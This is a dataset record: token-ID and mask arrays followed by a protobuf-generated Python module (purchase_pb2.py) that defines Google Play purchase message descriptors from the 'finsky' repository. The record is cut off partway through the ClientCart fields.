506,
1586,
3066,
687,
1373,
4922,
436,
8876,
370,
4573,
1159,
2455,
1174,
14,
199,
624,
199,
199,
504,
4747,
708,
957,
14,
5641,
492,
5218,
12,
5218,
388,
199,
646,
2366,
957,
199,
646,
747,
12,
984,
199,
199,
1160,
63,
3741,
29,
736,
14,
515,
14,
1294,
8,
1274,
14,
5904,
2788,
16,
61,
199,
1361,
283,
4231,
4922,
6536,
1978,
63,
3741,
199,
1160,
63,
3150,
76,
29,
5641,
14,
3234,
1193,
2499,
2532,
2042,
8,
1160,
63,
3741,
12,
16,
2788,
16,
61,
199,
1160,
63,
3317,
29,
5641,
14,
3234,
1002,
2768,
2223,
3697,
31641,
8,
1160,
63,
3150,
76,
12,
298,
8529,
401,
5218,
388,
14,
3234,
14876,
5763,
34,
63,
19041,
2826,
30773,
12,
2366,
957,
14,
41,
998,
63,
41,
3697,
31641,
9,
199,
199,
3,
4996,
2256,
965,
370,
506,
1586,
465,
282,
2547,
199,
3,
961,
1443,
28511,
1536,
340,
4922,
965,
7078,
2757,
12123,
315,
7910,
22732,
436,
965,
949,
3626,
2354,
5966,
199,
1160,
63,
73,
1778,
29,
1160,
63,
3317,
14,
3284,
360,
2001,
2354,
297,
1548,
957,
14,
8156,
63,
11588,
9,
199,
1160,
63,
1745,
29,
1160,
63,
73,
1778,
14,
3227,
4267,
8,
1548,
957,
14,
41,
998,
63,
41,
3296,
9,
199,
1745,
890,
29,
1160,
63,
1745,
14,
11232,
3430,
18,
61,
199,
1160,
63,
331,
472,
545,
29,
1160,
63,
1745,
14,
3284,
8,
1745,
890,
9,
199,
199,
318,
1678,
63,
331,
472,
545,
8,
1397,
63,
2972,
12,
2935,
63,
354,
12,
289,
1247,
304,
199,
198,
509,
6748,
315,
289,
1247,
26,
507,
198,
2861,
63,
5252,
29,
736,
14,
515,
14,
904,
8,
694,
63,
354,
12,
5252,
9,
507,
198,
692,
747,
14,
515,
14,
6027,
8,
2861,
63,
5252,
304,
686,
198,
1361,
2615,
63,
5252,
686,
198,
3150,
76,
29,
5641,
14,
3234,
1193,
2499,
2532,
2042,
8,
2861,
63,
5252,
12,
16,
2788,
16,
61,
686,
198,
3317,
29,
5641,
14,
3234,
1002,
2768,
2223,
3697,
31641,
8,
3150,
76,
12,
298,
8529,
401,
5218,
388,
14,
3234,
14876,
5763,
34,
63,
19041,
2826,
30773,
12,
2366,
957,
14,
41,
998,
63,
41,
3697,
31641,
9,
686,
198,
309,
440,
1006,
16533,
2575,
1172,
2763,
2256,
12,
436,
781,
3984,
15810,
652,
15988,
686,
198,
3317,
14,
3534,
360,
2001,
2354,
297,
1978,
63,
1745,
9,
686,
198,
73,
1778,
29,
3317,
14,
3284,
360,
2001,
2354,
297,
1548,
957,
14,
8156,
63,
11588,
9,
686,
198,
83,
29,
73,
1778,
14,
3227,
4267,
8,
1548,
957,
14,
41,
998,
63,
41,
3296,
9,
686,
198,
83,
14,
3534,
8,
1160,
63,
331,
472,
545,
9,
686,
198,
83,
29,
403,
686,
198,
309,
2225,
1561,
1586,
687,
7086,
12,
883,
1133,
2342,
1263,
4340,
370,
3874,
473,
3697,
31641,
686,
198,
509,
1921,
315,
661,
1476,
1673,
24021,
1673,
2001,
1673,
54,
344,
1673,
55,
6381,
1673,
1665,
1550,
1673,
14376,
1673,
14376,
3567,
1673,
6824,
7874,
1673,
7850,
804,
1673,
1385,
1673,
26176,
735,
1585,
198,
3317,
14,
3534,
8,
962,
12,
1978,
63,
3317,
14,
3284,
8,
962,
430,
686,
198,
3317,
29,
403,
199,
736,
14,
515,
14,
7757,
8,
1160,
63,
3741,
12,
873,
63,
331,
472,
545,
12,
403,
9,
421,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
199,
872,
2106,
31216,
4212,
370,
19843,
282,
4922,
1159,
2455,
1174,
370,
1006,
2399,
1007,
15171,
199,
1918,
1475,
402,
314,
3626,
2354,
2547,
365,
27241,
590,
625,
29383,
12,
1325,
199,
390,
883,
506,
1586,
3066,
687,
1373,
4922,
436,
8876,
370,
4573,
1159,
2455,
1174,
14,
199,
624,
199,
199,
504,
4747,
708,
957,
14,
5641,
492,
5218,
12,
5218,
388,
199,
646,
2366,
957,
199,
646,
747,
12,
984,
199,
199,
1160,
63,
3741,
29,
736,
14,
515,
14,
1294,
8,
1274,
14,
5904,
2788,
16,
61,
199,
1361,
283,
4231,
4922,
6536,
1978,
63,
3741,
199,
1160,
63,
3150,
76,
29,
5641,
14,
3234,
1193,
2499,
2532,
2042,
8,
1160,
63,
3741,
12,
16,
2788,
16,
61,
199,
1160,
63,
3317,
29,
5641,
14,
3234,
1002,
2768,
2223,
3697,
31641,
8,
1160,
63,
3150,
76,
12,
298,
8529,
401,
5218,
388,
14,
3234,
14876,
5763,
34,
63,
19041,
2826,
30773,
12,
2366,
957,
14,
41,
998,
63,
41,
3697,
31641,
9,
199,
199,
3,
4996,
2256,
965,
370,
506,
1586,
465,
282,
2547,
199,
3,
961,
1443,
28511,
1536,
340,
4922,
965,
7078,
2757,
12123,
315,
7910,
22732,
436,
965,
949,
3626,
2354,
5966,
199,
1160,
63,
73,
1778,
29,
1160,
63,
3317,
14,
3284,
360,
2001,
2354,
297,
1548,
957,
14,
8156,
63,
11588,
9,
199,
1160,
63,
1745,
29,
1160,
63,
73,
1778,
14,
3227,
4267,
8,
1548,
957,
14,
41,
998,
63,
41,
3296,
9,
199,
1745,
890,
29,
1160,
63,
1745,
14,
11232,
3430,
18,
61,
199,
1160,
63,
331,
472,
545,
29,
1160,
63,
1745,
14,
3284,
8,
1745,
890,
9,
199,
199,
318,
1678,
63,
331,
472,
545,
8,
1397,
63,
2972,
12,
2935,
63,
354,
12,
289,
1247,
304,
199,
198,
509,
6748,
315,
289,
1247,
26,
507,
198,
2861,
63,
5252,
29,
736,
14,
515,
14,
904,
8,
694,
63,
354,
12,
5252,
9,
507,
198,
692,
747,
14,
515,
14,
6027,
8,
2861,
63,
5252,
304,
686,
198,
1361,
2615,
63,
5252,
686,
198,
3150,
76,
29,
5641,
14,
3234,
1193,
2499,
2532,
2042,
8,
2861,
63,
5252,
12,
16,
2788,
16,
61,
686,
198,
3317,
29,
5641,
14,
3234,
1002,
2768,
2223,
3697,
31641,
8,
3150,
76,
12,
298,
8529,
401,
5218,
388,
14,
3234,
14876,
5763,
34,
63,
19041,
2826,
30773,
12,
2366,
957,
14,
41,
998,
63,
41,
3697,
31641,
9,
686,
198,
309,
440,
1006,
16533,
2575,
1172,
2763,
2256,
12,
436,
781,
3984,
15810,
652,
15988,
686,
198,
3317,
14,
3534,
360,
2001,
2354,
297,
1978,
63,
1745,
9,
686,
198,
73,
1778,
29,
3317,
14,
3284,
360,
2001,
2354,
297,
1548,
957,
14,
8156,
63,
11588,
9,
686,
198,
83,
29,
73,
1778,
14,
3227,
4267,
8,
1548,
957,
14,
41,
998,
63,
41,
3296,
9,
686,
198,
83,
14,
3534,
8,
1160,
63,
331,
472,
545,
9,
686,
198,
83,
29,
403,
686,
198,
309,
2225,
1561,
1586,
687,
7086,
12,
883,
1133,
2342,
1263,
4340,
370,
3874,
473,
3697,
31641,
686,
198,
509,
1921,
315,
661,
1476,
1673,
24021,
1673,
2001,
1673,
54,
344,
1673,
55,
6381,
1673,
1665,
1550,
1673,
14376,
1673,
14376,
3567,
1673,
6824,
7874,
1673,
7850,
804,
1673,
1385,
1673,
26176,
735,
1585,
198,
3317,
14,
3534,
8,
962,
12,
1978,
63,
3317,
14,
3284,
8,
962,
430,
686,
198,
3317,
29,
403,
199,
736,
14,
515,
14,
7757,
8,
1160,
63,
3741,
12,
873,
63,
331,
472,
545,
12,
403,
9,
421,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
mmcloughlin/finsky
|
finsky/protos/purchase_pb2.py
|
2
|
24000
|
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: purchase.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
from google.protobuf import descriptor_pb2
# @@protoc_insertion_point(imports)
_sym_db = _symbol_database.Default()
import android_app_delivery_pb2 as android__app__delivery__pb2
import document_v2_pb2 as document__v2__pb2
import library_update_proto_pb2 as library__update__proto__pb2
import acquisition_pb2 as acquisition__pb2
import challenge_proto_pb2 as challenge__proto__pb2
import common_device_pb2 as common__device__pb2
DESCRIPTOR = _descriptor.FileDescriptor(
name='purchase.proto',
package='Purchase',
syntax='proto2',
serialized_pb=_b('\n\x0epurchase.proto\x12\x08Purchase\x1a\x1a\x61ndroid_app_delivery.proto\x1a\x11\x64ocument_v2.proto\x1a\x1alibrary_update_proto.proto\x1a\x11\x61\x63quisition.proto\x1a\x15\x63hallenge_proto.proto\x1a\x13\x63ommon_device.proto\"\xf6\x02\n\x17PreparePurchaseResponse\x12\x30\n\x0epurchaseStatus\x18\x01 \x01(\x0b\x32\x18.Purchase.PurchaseStatus\x12,\n\tchallenge\x18\x02 \x01(\x0b\x32\x19.ChallengeProto.Challenge\x12\"\n\x04\x63\x61rt\x18\x03 \x01(\x0b\x32\x14.Purchase.ClientCart\x12\x38\n\rlibraryUpdate\x18\x04 \x03(\x0b\x32!.LibraryUpdateProto.LibraryUpdate\x12\x18\n\x10serverLogsCookie\x18\x05 \x01(\x0c\x12,\n\x11\x61pplicableVoucher\x18\x06 \x03(\x0b\x32\x11.DocumentV2.DocV2\x12\x1b\n\x13\x61ppliedVoucherIndex\x18\x07 \x03(\x05\x12\x38\n\x12\x63hangeSubscription\x18\x08 \x01(\x0b\x32\x1c.Purchase.ChangeSubscription\"\xde\x02\n\x16\x43ommitPurchaseResponse\x12\x30\n\x0epurchaseStatus\x18\x01 \x01(\x0b\x32\x18.Purchase.PurchaseStatus\x12,\n\tchallenge\x18\x02 \x01(\x0b\x32\x19.ChallengeProto.Challenge\x12\x38\n\rlibraryUpdate\x18\x03 \x03(\x0b\x32!.LibraryUpdateProto.LibraryUpdate\x12\x43\n\x0f\x61ppDeliveryData\x18\x04 \x01(\x0b\x32*.AndroidAppDelivery.AndroidAppDeliveryData\x12\x18\n\x10serverLogsCookie\x18\x05 \x01(\x0c\x12\x1c\n\x14\x65ncodedDeliveryToken\x18\x06 \x01(\t\x12-\n\x0bsuccessInfo\x18\x07 \x01(\x0b\x32\x18.Acquisition.SuccessInfo\"W\n\x0ePurchaseStatus\x12\x12\n\nstatusCode\x18\x01 \x01(\x05\x12\x18\n\x10\x65rrorMessageHtml\x18\x02 \x01(\t\x12\x17\n\x0fpermissionError\x18\x03 \x01(\x05\"e\n\x11\x41pplicableVoucher\x12\x1e\n\x03\x64oc\x18\x01 \x01(\x0b\x32\x11.DocumentV2.DocV2\x12\x1f\n\x17\x66ormattedDiscountAmount\x18\x02 \x01(\t\x12\x0f\n\x07\x61pplied\x18\x03 \x01(\x08\"\xef\x03\n\nClientCart\x12\r\n\x05title\x18\x01 \x01(\t\x12\x16\n\x0e\x66ormattedPrice\x18\x02 \x01(\t\x12\x1c\n\x14purchaseContextToken\x18\x03 \x01(\t\x12,\n\ninstrument\x18\x04 \x01(\x0b\x32\x18.CommonDevice.Instrument\x12\x1a\n\x12\x65xtendedDetailHtml\x18\x05 \x03(\t\x12\x12\n\nfooterHtml\x18\x06 \x01(\t\x12\x1f\n\x17\x61\x64\x64InstrumentPromptHtml\x18\x07 \x01(\t\x12\x12\n\nbuttonText\x18\x08 \x01(\t\x12<\n\x19\x63ompletePurchaseChallenge\x18\t \x01(\x0b\x32\x19.ChallengeProto.Challenge\x12\x13\n\x0bpriceByline\x18\n \x01(\t\x12\x12\n\ndetailHtml\x18\x0b \x03(\t\x12,\n\x11\x61pplicableVoucher\x18\x0c \x03(\x0b\x32\x11.DocumentV2.DocV2\x12\x1b\n\x13\x61ppliedVoucherIndex\x18\r \x03(\x05\x12\x37\n\x12\x61pplicableVouchers\x18\x0e \x03(\x0b\x32\x1b.Purchase.ApplicableVoucher\x12\x1e\n\x16\x66ormattedOriginalPrice\x18\x0f \x01(\t\"<\n\x12\x43hangeSubscription\x12\r\n\x05title\x18\x01 \x01(\t\x12\x17\n\x0f\x64\x65scriptionHtml\x18\x02 \x01(\tB,\n com.google.android.finsky.protosB\x08Purchase')
,
dependencies=[android__app__delivery__pb2.DESCRIPTOR,document__v2__pb2.DESCRIPTOR,library__update__proto__pb2.DESCRIPTOR,acquisition__pb2.DESCRIPTOR,challenge__proto__pb2.DESCRIPTOR,common__device__pb2.DESCRIPTOR,])
_sym_db.RegisterFileDescriptor(DESCRIPTOR)
_PREPAREPURCHASERESPONSE = _descriptor.Descriptor(
name='PreparePurchaseResponse',
full_name='Purchase.PreparePurchaseResponse',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='purchaseStatus', full_name='Purchase.PreparePurchaseResponse.purchaseStatus', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='challenge', full_name='Purchase.PreparePurchaseResponse.challenge', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='cart', full_name='Purchase.PreparePurchaseResponse.cart', index=2,
number=3, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='libraryUpdate', full_name='Purchase.PreparePurchaseResponse.libraryUpdate', index=3,
number=4, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='serverLogsCookie', full_name='Purchase.PreparePurchaseResponse.serverLogsCookie', index=4,
number=5, type=12, cpp_type=9, label=1,
has_default_value=False, default_value=_b(""),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='applicableVoucher', full_name='Purchase.PreparePurchaseResponse.applicableVoucher', index=5,
number=6, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='appliedVoucherIndex', full_name='Purchase.PreparePurchaseResponse.appliedVoucherIndex', index=6,
number=7, type=5, cpp_type=1, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='changeSubscription', full_name='Purchase.PreparePurchaseResponse.changeSubscription', index=7,
number=8, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=167,
serialized_end=541,
)
_COMMITPURCHASERESPONSE = _descriptor.Descriptor(
name='CommitPurchaseResponse',
full_name='Purchase.CommitPurchaseResponse',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='purchaseStatus', full_name='Purchase.CommitPurchaseResponse.purchaseStatus', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='challenge', full_name='Purchase.CommitPurchaseResponse.challenge', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='libraryUpdate', full_name='Purchase.CommitPurchaseResponse.libraryUpdate', index=2,
number=3, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='appDeliveryData', full_name='Purchase.CommitPurchaseResponse.appDeliveryData', index=3,
number=4, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='serverLogsCookie', full_name='Purchase.CommitPurchaseResponse.serverLogsCookie', index=4,
number=5, type=12, cpp_type=9, label=1,
has_default_value=False, default_value=_b(""),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='encodedDeliveryToken', full_name='Purchase.CommitPurchaseResponse.encodedDeliveryToken', index=5,
number=6, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='successInfo', full_name='Purchase.CommitPurchaseResponse.successInfo', index=6,
number=7, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=544,
serialized_end=894,
)
_PURCHASESTATUS = _descriptor.Descriptor(
name='PurchaseStatus',
full_name='Purchase.PurchaseStatus',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='statusCode', full_name='Purchase.PurchaseStatus.statusCode', index=0,
number=1, type=5, cpp_type=1, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='errorMessageHtml', full_name='Purchase.PurchaseStatus.errorMessageHtml', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='permissionError', full_name='Purchase.PurchaseStatus.permissionError', index=2,
number=3, type=5, cpp_type=1, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=896,
serialized_end=983,
)
_APPLICABLEVOUCHER = _descriptor.Descriptor(
name='ApplicableVoucher',
full_name='Purchase.ApplicableVoucher',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='doc', full_name='Purchase.ApplicableVoucher.doc', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='formattedDiscountAmount', full_name='Purchase.ApplicableVoucher.formattedDiscountAmount', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='applied', full_name='Purchase.ApplicableVoucher.applied', index=2,
number=3, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=985,
serialized_end=1086,
)
_CLIENTCART = _descriptor.Descriptor(
name='ClientCart',
full_name='Purchase.ClientCart',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='title', full_name='Purchase.ClientCart.title', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='formattedPrice', full_name='Purchase.ClientCart.formattedPrice', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='purchaseContextToken', full_name='Purchase.ClientCart.purchaseContextToken', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
